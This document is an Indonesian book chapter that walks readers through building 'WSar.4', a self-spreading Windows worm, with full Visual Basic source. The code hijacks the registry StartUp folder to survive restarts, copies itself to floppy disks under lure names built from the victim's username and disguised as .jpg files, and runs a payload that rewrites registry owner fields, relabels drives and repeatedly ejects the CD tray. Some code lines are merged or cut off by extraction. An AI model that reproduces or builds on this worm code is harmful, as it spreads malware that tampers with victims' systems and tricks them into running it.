W
orm ini bernama WSar.4 (worm dasar 4), memiliki trik launcher yang hingga buku ini selesai ditulis belum pernah digunakan worm manapun. Dengan cara memanipulasi registry, worm memindahkan direktori StartUp kesuatu lokasi tertentu dan membuat salinan dirinya pada direktori tersebut.Saat Windows startup, setiap file yang ada termasuk file worm ikut tereksekusi tanpa user menyadari karena direktori StartUp default yang dapat terlihat pada Startmenu tidak akan menunjukan adanya perubahan atau pertambahan suatu file.
Worm ini sedikit lebih kreatif karena membuat nama file salinan dengan menyertakan nama user aktif dan banyak menggunakan function API.
10.1 ALGORITMA
WSar.4 memiliki rutin-rutin yang akan melakukan suatu tindakan sebagai berikut:
1. Melakukan pemeriksaan terhadap eksistensi worm itu sendiri pada suatu system komputer
2. Kemudian worm mengubah nilai suatu registry untuk memanipu-lasi lokasi direktori StartUp default ke suatu lokasi direktori tertentu lainnya. Kemudian worm akan melakukan reproduksi dengan men-ciptakan salinan dirinya pada direktori StartUp yang baru tersebut
Bab 10. Worm WSar.4
3. Setiap 1 menit akan berusaha untuk membuat salinan worm ke disket pada drive A dengan 10 nama file yang dipilih secara acak 4. Dampak lain yang ditimbulkan adalah jika jam dan menit memiliki
nilai yang sama maka secara otomatis system akan membuka dan menutup CD rom drive sebanyak 3 kali. Kesempatan terjadi adalah sekali setiap jamnya
5. Setiap tanggal 13 bulan Oktober akan menampilkan pesan "WSar.4 Ada Pada Komputer Anda", kemudian melakukan beberapa manipulasi yang bersifat tidak penting dan terkesan "pamer" tetapi hal ini sudah menjadi kebiasaan worm lokal di Indonesia, seperti mengubah nama user dan perusahaan terdaftar, mengubah volume label pada harddisk atau menampilkan pesan tertentu setiap kali Windows startup.
10.2 PEMROGRAMAN
Buat sebuah project baru pada aplikasi Visual Basic. Atur Project Name menjadi 'WSar’, dan Application Title menjadi 'WSar.4’
Tambahkan 2 buah object Timer, 1 buah object TextBox dan 2 buah Module. Kemudian atur properti berikut untuk masing-masing Timer, TextBox, Form dan Module.
Properti object Form1
Jenis Nilai Keterangan
Name frmWSar4 Mengatur nama form menjadi frmWSar4
Icon (Icon) Pilih icon yang akan digunakan pada form, WSar.4 menggunakan icon jpgicon.ico ShowInTaskbar False Tidak menampilkan form pada taskbar
Visible False Tidak menampilkan form pada layar.
BorderStyle None Tidak memberikan garis tepi pada form ControlBox False Tidak menggunakan control box
Bab 10 Worm WSar.4
Properti object Timer1
Jenis Nilai Keterangan
Name tmrWSar4 Mengatur nama Timer menjadi tmrWSar4 Enable True Pastikan Timer akan aktif saat form di-load Interval 60000 Setiap instruksi pada procedure Timer akan
dieksekusi setiap 1 menit
Properti object Timer2
Jenis Nilai Keterangan
Name tmrIseng Mengatur nama Timer menjadi tmrIseng Enable True Pastikan Timer akan aktif saat form di-load Interval 60000 Setiap instruksi pada procedure Timer akan
dieksekusi setiap 1 menit
Properti object Text1
Jenis Nilai Keterangan
Name txtName Mengatur nama TextBox menjadi txtName
Properti Module1
Jenis Nilai Keterangan
Name mdlNameLogon Mengatur nama module menjadi mdl-NameLogon
Properti Module2
Jenis Nilai Keterangan
Name mdlRegistryAPI Mengatur nama module menjadi mdlRegistryAPI
Bab 10. Worm WSar.4
Ketik kode program berikut ini pada module mdlNameLogon:
Declare Function GetUserName Lib "advapi32.dll" Alias _ "GetUserNameA" (ByVal lpBuffer As String, ByVal nSize _ As Long) As Long
Function NameLogon() Dim s As String Dim cnt As Long Dim dl As Long Dim CurUser As String cnt = 199
s = String$(200, 0) dl = GetUserName(s, cnt)
If dl <> 0 Then CurUser = Left$(s, cnt) Else : CurUser = "" NameLogon = CurUser
End Function
Ketik kode program berikut ini pada module mdlRegistryAPI: Type FILETIME
lLowDateTime As Long lHighDateTime As Long End Type
Declare Function RegDeleteValue Lib "advapi32.dll" Alias _ "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName _ As String) As Long
Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias _ "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As _ String, ByVal ulOptions As Long, ByVal samDesired As Long, _ ByVal phkResult As Long) As Long
Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As _ Long) As Long
Declare Function RegCreateKey Lib "advapi32.dll" Alias _ "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As _ String, ByVal phkResult As Long) As Long
Declare Function RegDeleteKey Lib "advapi32.dll" Alias _ "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As _ String) As Long
Declare Function RegQueryValueEx Lib "advapi32.dll" Alias _ "RegQueryValueExA" (ByVal hKey As Long, ByVal _
lpValueName As String, ByVal lpReserved As Long, ByVal lpType As _ Long, ByVal lpData As String, ByVal lpcbData As Long) As Long Declare Function RegQueryValueExA Lib "advapi32.dll" (ByVal _ hKey As Long, ByVal lpValueName As String, ByVal _
lpReserved As Long, ByVal lpType As Long, ByRef lpData As Long, _ ByVal lpcbData As Long) As Long
Declare Function RegSetValueEx Lib "advapi32.dll" Alias _ "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName _ As String, ByVal Reserved As Long, ByVal dwType As Long, _ ByVal lpData As String, ByVal cbData As Long) As Long
Bab 10 Worm WSar.4 hKey As Long, ByVal lpValueName As String, ByVal Reserved _
As Long, ByVal dwType As Long, ByRef lpData As Long, _ ByVal cbData As Long) As Long
Declare Function RegSetValueExB Lib "advapi32.dll" Alias _ "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName _ As String, ByVal Reserved As Long, ByVal dwType As Long, _ ByRef lpData As Byte, ByVal cbData As Long) As Long
Public Declare Function RegReplaceKey Lib "advapi32.dll" Alias _ "RegReplaceKeyA" (ByVal hKey As Long, ByVal lpSubKey As _ String, ByVal lpNewFile As String, ByVal lpOldFile As String) _ As Long
Const ERROR_SUCCESS = 0& Const ERROR_BADDB = 1009& Const ERROR_BADKEY = 1010& Const ERROR_CANTOPEN = 1011& Const ERROR_CANTREAD = 1012& Const ERROR_CANTWRITE = 1013& Const ERROR_OUTOFMEMORY = 14& Const ERROR_INVALID_PARAMETER = 87& Const ERROR_ACCESS_DENIED = 5& Const ERROR_NO_MORE_ITEMS = 259& Const ERROR_MORE_DATA = 234& Const REG_NONE = 0&
Const REG_SZ = 1& Const REG_EXPAND_SZ = 2& Const REG_BINARY = 3& Const REG_DWORD = 4&
Const REG_DWORD_LITTLE_ENDIAN = 4& Const REG_DWORD_BIG_ENDIAN = 5& Const REG_LINK = 6&
Const REG_MULTI_SZ = 7& Const REG_RESOURCE_LIST = 8&
Const REG_FULL_RESOURCE_DESCRIPTOR = 9& Const REG_RESOURCE_REQUIREMENTS_LIST = 10& Const KEY_QUERY_VALUE = &H1&
Const KEY_SET_VALUE = &H2& Const KEY_CREATE_SUB_KEY = &H4& Const KEY_ENUMERATE_SUB_KEYS = &H8& Const KEY_NOTIFY = &H10&
Const KEY_CREATE_LINK = &H20& Const READ_CONTROL = &H20000 Const WRITE_DAC = &H40000 Const WRITE_OWNER = &H80000 Const SYNCHRONIZE = &H100000
Const STANDARD_RIGHTS_REQUIRED = &HF0000 Const STANDARD_RIGHTS_READ = READ_CONTROL Const STANDARD_RIGHTS_WRITE = READ_CONTROL Const STANDARD_RIGHTS_EXECUTE = READ_CONTROL Const KEY_READ = STANDARD_RIGHTS_READ Or _ KEY_QUERY_VALUE Or KEY_ENUMERATE_SUB_KEYS _ Or KEY_NOTIFY
Const KEY_WRITE = STANDARD_RIGHTS_WRITE Or _ KEY_SET_VALUE Or KEY_CREATE_SUB_KEY Const KEY_EXECUTE = KEY_READ
Bab 10. Worm WSar.4
Dim hKey As Long, MainKeyHandle As Long
Dim rtn As Long, lBuffer As Long, sBuffer As String Dim lBufferSize As Long
Dim lDataSize As Long Dim ByteArray() As Byte Const DisplayErrorMsg = False
Function SetDWORDValue(ByVal SubKey As String, ByVal Entry As String, _ ByVal value As Long)
Call ParseKey(SubKey, MainKeyHandle) If MainKeyHandle Then
rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_WRITE, _ hKey)
If rtn = ERROR_SUCCESS Then
rtn = RegSetValueExA(hKey, Entry, 0, REG_DWORD, value, 4) If Not rtn = ERROR_SUCCESS Then
If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If
End If
rtn = RegCloseKey(hKey) Else
If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If
End If End If End Function
Public Function DeleteKeyValue(ByVal sKeyName As String, _ ByVal sValueName As String)
DeleteKeyValue = False Dim hKey As Long
Call ParseKey(sKeyName, MainKeyHandle) If MainKeyHandle Then rtn = RegOpenKeyEx(MainKeyHandle, sKeyName, 0, _ KEY_WRITE, hKey) If (rtn = ERROR_SUCCESS) Then rtn = RegDeleteValue(hKey, sValueName) If (rtn <> ERROR_SUCCESS) Then Else DeleteKeyValue = True End If rtn = RegCloseKey(hKey) End If End If End Function
Bab 10 Worm WSar.4 Function GetDWORDValue(ByVal SubKey As String, ByVal Entry As String)
Call ParseKey(SubKey, MainKeyHandle) If MainKeyHandle Then
rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_READ, _ hKey)
If rtn = ERROR_SUCCESS Then
rtn = RegQueryValueExA(hKey, Entry, 0, REG_DWORD, lBuffer, 4) If rtn = ERROR_SUCCESS Then
rtn = RegCloseKey(hKey) GetDWORDValue = lBuffer Else
GetDWORDValue = "Error" If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If
End If Else
GetDWORDValue = "Error" If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If
End If End If End Function
Function SetBinaryValue(ByVal SubKey As String, ByVal Entry As String, _ ByVal value As String)
Call ParseKey(SubKey, MainKeyHandle) If MainKeyHandle Then
rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_WRITE, _ hKey) If rtn = ERROR_SUCCESS Then lDataSize = Len(value) ReDim ByteArray(lDataSize) For i = 1 To lDataSize ByteArray(i) = Asc(Mid$(value, i, 1)) Next
rtn = RegSetValueExB(hKey, Entry, 0, REG_BINARY, _ ByteArray(1), lDataSize)
If Not rtn = ERROR_SUCCESS Then If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If
End If
rtn = RegCloseKey(hKey) Else
If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If
End If End If End Function
Bab 10. Worm WSar.4
Function GetBinaryValue(ByVal SubKey As String, ByVal Entry As String) Call ParseKey(SubKey, MainKeyHandle)
If MainKeyHandle Then
rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_READ, _ hKey)
If rtn = ERROR_SUCCESS Then lBufferSize = 1
rtn = RegQueryValueEx(hKey, Entry, 0, REG_BINARY, 0, _ lBufferSize)
sBuffer = Space(lBufferSize)
rtn = RegQueryValueEx(hKey, Entry, 0, REG_BINARY, sBuffer, _ lBufferSize) If rtn = ERROR_SUCCESS Then rtn = RegCloseKey(hKey) GetBinaryValue = sBuffer Else GetBinaryValue = "Error" If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If
End If Else
GetBinaryValue = "Error" If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If
End If End If End Function
Function DeleteKey(ByVal Keyname As String) Call ParseKey(Keyname, MainKeyHandle) If MainKeyHandle Then rtn = RegOpenKeyEx(MainKeyHandle, Keyname, 0, _ KEY_WRITE, hKey) If rtn = ERROR_SUCCESS Then rtn = RegDeleteKey(hKey, Keyname) rtn = RegCloseKey(hKey) End If End If End Function
Function GetMainKeyHandle(ByVal MainKeyName As String) As Long Const HKEY_CLASSES_ROOT = &H80000000
Const HKEY_CURRENT_USER = &H80000001 Const HKEY_LOCAL_MACHINE = &H80000002 Const HKEY_USERS = &H80000003
Const HKEY_PERFORMANCE_DATA = &H80000004 Const HKEY_CURRENT_CONFIG = &H80000005 Const HKEY_DYN_DATA = &H80000006 Select Case MainKeyName
Case "HKEY_CLASSES_ROOT"
GetMainKeyHandle = HKEY_CLASSES_ROOT Case "HKEY_CURRENT_USER"
Bab 10 Worm WSar.4 Case "HKEY_LOCAL_MACHINE" GetMainKeyHandle = HKEY_LOCAL_MACHINE Case "HKEY_USERS" GetMainKeyHandle = HKEY_USERS Case "HKEY_PERFORMANCE_DATA" GetMainKeyHandle = HKEY_PERFORMANCE_DATA Case "HKEY_CURRENT_CONFIG" GetMainKeyHandle = HKEY_CURRENT_CONFIG Case "HKEY_DYN_DATA" GetMainKeyHandle = HKEY_DYN_DATA End Select End Function
Function ErrorMsg(ByVal lErrorCode As Long) As String Select Case lErrorCode
Case 1009, 1015
GetErrorMsg = "The Registry Database is corrupt!" Case 2, 1010
GetErrorMsg = "Bad Key Name" Case 1011
GetErrorMsg = "Can’t Open Key" Case 4, 1012
GetErrorMsg = "Can’t Read Key" Case 5
GetErrorMsg = "Access to this key is denied" Case 1013
GetErrorMsg = "Can’t Write Key" Case 8, 14
GetErrorMsg = "Out of memory" Case 87
GetErrorMsg = "Invalid Parameter" Case 234
GetErrorMsg = "There is more data than the buffer has been " & _ "allocated to hold."
Case Else
GetErrorMsg = "Undefined Error Code: " & Str$(lErrorCode) End Select
End Function
Function GetStringValue(ByVal SubKey As String, ByVal Entry As String) Call ParseKey(SubKey, MainKeyHandle)
If MainKeyHandle Then
rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_READ, _ hKey)
If rtn = ERROR_SUCCESS Then sBuffer = Space(255) lBufferSize = Len(sBuffer)
rtn = RegQueryValueEx(hKey, Entry, 0, REG_SZ, sBuffer, _ lBufferSize)
If rtn = ERROR_SUCCESS Then rtn = RegCloseKey(hKey) sBuffer = Trim(sBuffer)
GetStringValue = Left(sBuffer, Len(sBuffer) - 1) Else
Bab 10. Worm WSar.4
GetStringValue = "Error" If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If
End If Else
GetStringValue = "Error" If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If
End If End If End Function
Private Sub ParseKey(ByVal Keyname As String, ByVal Keyhandle As Long) rtn = InStr(Keyname, "\")
If Left(Keyname, 5) <> "HKEY_" Or Right(Keyname, 1) = "\" Then MsgBox("Incorrect Format:" + Chr(10) + Chr(10) + Keyname) Exit Sub ElseIf rtn = 0 Then Keyhandle = GetMainKeyHandle(Keyname) Keyname = "" Else Keyhandle = GetMainKeyHandle(Left(Keyname, rtn - 1)) Keyname = Right(Keyname, Len(Keyname) - rtn) End If
End Sub
Function CreateKey(ByVal SubKey As String) Call ParseKey(SubKey, MainKeyHandle) If MainKeyHandle Then
rtn = RegCreateKey(MainKeyHandle, SubKey, hKey) If rtn = ERROR_SUCCESS Then
rtn = RegCloseKey(hKey) End If
End If End Function
Function SetStringValue(ByVal SubKey As String, ByVal Entry As String, _ ByVal value As String)
Call ParseKey(SubKey, MainKeyHandle) If MainKeyHandle Then
rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_WRITE, _ hKey)
If rtn = ERROR_SUCCESS Then
rtn = RegSetValueEx(hKey, Entry, 0, REG_SZ, ByVal value, _ Len(value))
If Not rtn = ERROR_SUCCESS Then If DisplayErrorMsg = True Then MsgBox(ErrorMsg(rtn)) End If
End If
rtn = RegCloseKey(hKey) Else
Bab 10 Worm WSar.4 End If
End If End If End Function
Public Function hex2ascii(ByVal hextext As String) As String On Error Resume Next
Dim Y As Integer Dim num As String Dim value As String For Y = 1 To Len(hextext) num = Mid(hextext, Y, 2)
value = value & Chr(Val("&h" & num)) Y = Y + 1
Next Y
hex2ascii = value End Function
Function SetHexValue(ByVal SubKey As String, ByVal Entry As String, _ ByVal value As String)
SetBinaryValue(SubKey, Entry, hex2ascii(value)) End Function
Ketik kode program berikut ini pada object frmWSar4:
'WSar.4 by Achmad Darmal
'Tarakan, Kalimantan Timur - Indonesia Option Explicit On
Private Declare Function GetWindowsDirectory Lib "kernel32" _ Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, _ ByVal nSize As Long) As Long
Private Declare Function GetSystemDirectory Lib "kernel32" Alias _ "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize _ As Long) As Long
Private SF As String * 255
Private Declare Function mciSendString Lib "winmm.dll" Alias _ "mciSendStringA" (ByVal lpstrCommand As String, ByVal _ lpstrReturnString As String, ByVal uReturnLength As Long, _ ByVal hwndCallback As Long) As Long
Private Declare Function SetVolumeLabel Lib "kernel32" Alias _ "SetVolumeLabelA" (ByVal lpRootPathName As String, ByVal _ lpVolumeName As String) As Long
Private Sub Form_Load()
If App.PrevInstance = True Then End Call InfectSystem()
Call InfectFloppy()
If App.Path = "A:\" Or App.Path = "B:\" Then Unload(Me)
End If End Sub
Bab 10. Worm WSar.4
Private Sub InfectSystem() On Error Resume Next Dim MainFolder As String
MainFolder = SpecialFolder(0) & "\Config\StartUp" MkDir(MainFolder)
FileCopy(WormFile, MainFolder & "\" & "WINLOGIN.EXE")
SetStringValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr" & _ "entVersion\Explorer\User Shell Folders", "Startup", MainFolder) SetAttr(MainFolder & "\" & "WINLOGIN.EXE", vbReadOnly)
End Sub
Private Sub InfectFloppy() On Error Resume Next Dim Acak As Integer Dim Nama As String
txtName.Text = Trim$(NameLogon) Nama = LCase(txtName.Text) Dim NamaCantik(10) As String
NamaCantik(0) = "foto seksi " & Nama & ".jpg .exe" NamaCantik(1) = "foto birahi " & Nama & ".jpg .exe" NamaCantik(2) = "foto pacar baru " & Nama & ".jpg .exe" NamaCantik(3) = "foto khusus dewasa.jpg .exe"
NamaCantik(4) = "foto tuyul.jpg .exe" NamaCantik(5) = "foto dedemit.jpg .exe" NamaCantik(6) = "foto setan kuburan.jpg .exe" NamaCantik(7) = "foto hantu pocong.jpg .exe" NamaCantik(8) = "foto wewek gombel.jpg .exe" NamaCantik(9) = "foto kuntilanak.jpg .exe" Randomize()
Acak = Int(Rnd * 10)
If Len(Dir$("A:\*.jpg .exe")) = 0 Then
FileCopy(WormFile, "A:\" & NamaCantik(Acak)) End If
End Sub
Function SpecialFolder(ByVal value) On Error Resume Next
Dim FolderValue As String If value = 0 Then
FolderValue = Left(SF, GetWindowsDirectory(SF, 255)) End If
If value = 1 Then
FolderValue = Left(SF, GetSystemDirectory(SF, 255)) End If
If Right(FolderValue, 1) = "\" Then
FolderValue = Left(FolderValue, Len(FolderValue) - 1) End If
SpecialFolder = FolderValue End Function
Private Function SetLabel(ByVal RootName As String, ByVal NewLabel _ As String)
If RootName = "" Then Exit Function End If
Bab 10 Worm WSar.4 Private Sub PayLoad()
On Error Resume Next
MsgBox("WSar.4 Ada Pada Komputer Anda", vbExclamation) SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion", "RegisteredOwner", "LIGHT " & _ "DEVIL")
SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _
"ft\Windows\CurrentVersion", "RegisteredOrganization", "IN" & _ "DONESIAN WORM WRITER ASSOCIATION")
SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _
"ft\Windows\CurrentVersion", "LocalNoticeCaption", "INDO" & _ "NESIAN WORM WRITER ASSOCIATION")
SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _
"ft\Windows\CurrentVersion", "LegalNoticeText", "Kompute" & _ "r Anda terinfeksi oleh WSar.4 kunjungi site berikut untuk me" & _ "ndapatkan manual cara menghapusnya www.iwwa.co.id")
SetLabel("C:\", "Light Devil") SetLabel("D:\", "WSar Exist") End Sub
Private Sub tmrIseng_Timer() On Error Resume Next Dim DoorOpen As Boolean Dim i As Integer
If Hour(Now) = Minute(Now) Then GoTo Iseng Else : GoTo Selesai Iseng:
mciSendString("close all", 0, 0, 0)
mciSendString("open cdaudio alias cd wait shareable", 0, 0, 0) mciSendString("set cd time format tmsf wait", 0, 0, 0)
For i = 1 To 3
mciSendString("set cd door open", 0, 0, 0) DoorOpen = True
If DoorOpen = True Then
mciSendString("set cd door closed", 0, 0, 0) DoorOpen = False
End If Next i Selesai: End Sub
Private Sub tmrWSar4_Timer() On Error Resume Next Call InfectFloppy()
If Day(Now) = 13 And Month(Now) = 10 Then Call PayLoad()
Unload(Me) End If End Sub
Private Function WormFile() Dim WPath, WName As String WPath = App.Path
If Right(WPath, 1) <> "\" Then WPath = WPath & "\" End If
WName = App.EXEName & ".exe" WormFile = WPath & WName
Bab 10. Worm WSar.4
Berikut penjelasan tentang kode program :
Diawali dengan beberapa pendeklarasian function API, masing-masing memiliki tugas untuk mendapatkan direktori Windows dan direktori System Windows dari library kernel32, kemudian function pengiriman string dari library winmm.dll yang digunakan untuk memberikan instruksi pada cd drive, dan function API untuk mengatur volume label pada drive harddisk dari library kernel32.
Diawali dengan procedure Form_Load yang akan memastikan file utama tidak tereksekusi lebih dari satu kali, kemudian memanggil procedure InfectSystem, procedure InfectFloppy dan akan segera mengakhiri program apabila file utama berada pada disket.
Procedure InfectSystem akan membuat suatu direktori baru bernama 'StartUp’ di dalam direktori [windows directory]\Config kemudian membuat salinan file utama ke direktori tersebut dengan nama file "WINLOGIN.EXE".
Procedure ini juga memanggil function yang berada pada module mdlRegistryAPI untuk memanipulasi registry dengan tujuan mengubah lokasi direktori StartUp pada Windows. Terakhir procedure mengatur atribut file "WINLOGIN.EXE" menjadi Read only.
Procedure InfectFloppy mengatur nilai properti Text pada txtName menjadi nama user aktif yang didapatkan dari function NameLogon, kemudian mengatur nilai variabel Nama dengan nilai txtName yang di-trim dan dalam bentuk huruf kecil.
Procedure kemudian membuat array sebanyak 10 data yang akan menjadi nama file worm, juga menyertakan nama user aktif sebagai bagian dari nama file worm tersebut. Sebagai contoh, jika nama user aktif adalah 'Komeng’ maka worm akan membuat file dengan nama "foto seksi komeng.jpg .exe", "foto birahi komeng.jpg .exe", "foto pacar baru komeng.jpg .exe". Hal ini merupakan salah satu upaya social engineering yang terbukti sangat efektif .
Selanjutnya worm berusaha mencari file yang berakhiran ".jpg .exe" pada disket, jika file tidak ditemukan maka worm akan membuat salinan file utama dengan menggunakan salah satu nama file tersebut ke disket yang diambil secara acak.
Bab 10 Worm WSar.4
Function SpecialFolder dan function SetLabel memanfaatkan function API yang telah dideklarasikan sebelumnya, dengan tujuan untuk mempermudah dan membuat formula menjadi lebih sederhana, hingga dapat digunakan berulang kali pada procedure yang berbeda.
Untuk mendapatkan lokasi direktori Windows dapat menggunakan instruksi: SpecialFolder(0) atau SpecialFolder(1) untuk mendapatkan direktori System Windows. Untuk memanipulasi volume label drive C pada harddisk menjadi "Apaan Tuuh", maka dapat menggunakan instruksi berikut: SetLabel "C:\", "Apaan Tuuh"
Procedure PayLoad pada worm ini termasuk payload beresiko rendah, selain menampilkan pesan "WSar.4 Ada Pada Komputer Anda" worm juga memanipulasi registry dengan mengubah konfigurasi registered owner menjadi "LIGHT DEVIL" dan registered organization menjadi
"INDONESIAN WORM WRITER ASSOCIATION".
Worm mengatur agar sebuah kotak pesan tampil setiap kali Windows startup dengan tulisan "Komputer Anda terinfeksi oleh WSar.4 kun-jungi site berikut untuk mendapatkan manual cara menghapusnya www.iwwa.co.id".
Terakhir worm memanipulasi volume label harddisk pada drive C menjadi "Light Devil" dan drive D menjadi "WSar Exist", jika ternyata komputer terinfeksi tidak memiliki drive D maka secara sederhana worm menggunakan statement On Error Resume Next untuk menga-tasinya.
Procedure tmrIseng_Timer memiliki instruksi yang akan bekerja apabila jam dan menit menunjukan nilai yang sama misalnya jam 09:09 atau 15:15. Instruksi yang akan dikerjakan adalah membuka dan menutup CD drive sebanyak 3 kali.
Sedangkan procedure tmrWSar4_Timer secara berkesinambungan akan memanggil procedure InfectFloppy dan akan memanggil procedure PayLoad apabila tanggal menunjukkan 13 Oktober setiap tahunnya. Sedangkan dua module bernama mdlNameLogon dan mdlRegistryAPI masing-masing membuat suatu function dari pendeklarasian beberapa function API yang berguna untuk mendapatkan nama user aktif dan mempermudah pengelolaan registry seperti membuat, membaca dan menghapus key atau value pada registry, module yang akan sangat berguna untuk pengembangan program aplikasi apa saja, sehingga sangat disarankan untuk menyimpan module tersebut.
Bab 11 Worm WSar.5